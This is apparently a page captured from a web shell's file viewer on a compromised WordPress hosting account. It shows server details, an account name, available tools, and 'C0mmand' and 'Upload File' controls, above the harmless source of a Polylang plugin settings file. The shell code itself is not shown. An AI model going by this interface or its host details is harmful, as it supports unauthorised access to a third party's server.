|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/ludmqhh/www/hotel-forum/wp-content/plugins/polylang/settings/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Displays the Languages admin panel
*
* @package Polylang
*
* @var string $active_tab Active Polylang settings page.
*/
defined( 'ABSPATH' ) || exit;
require ABSPATH . 'wp-admin/options-head.php'; // Displays the errors messages as when we were a child of options-general.php
?>
<div class="wrap">
<h1><?php echo esc_html( $GLOBALS['title'] ); ?></h1>
<?php
switch ( $active_tab ) {
case 'lang': // Languages tab
case 'strings': // String translations tab
case 'settings': // Settings tab
include __DIR__ . '/view-tab-' . $active_tab . '.php';
// Intentional fall-through to upgrade to fire the action below.
default:
/**
* Fires when loading the active Polylang settings tab
* Allows plugins to add their own tab
*
* @since 1.5.1
*/
do_action( 'pll_settings_active_tab_' . $active_tab );
break;
}
?>
</div><!-- wrap -->
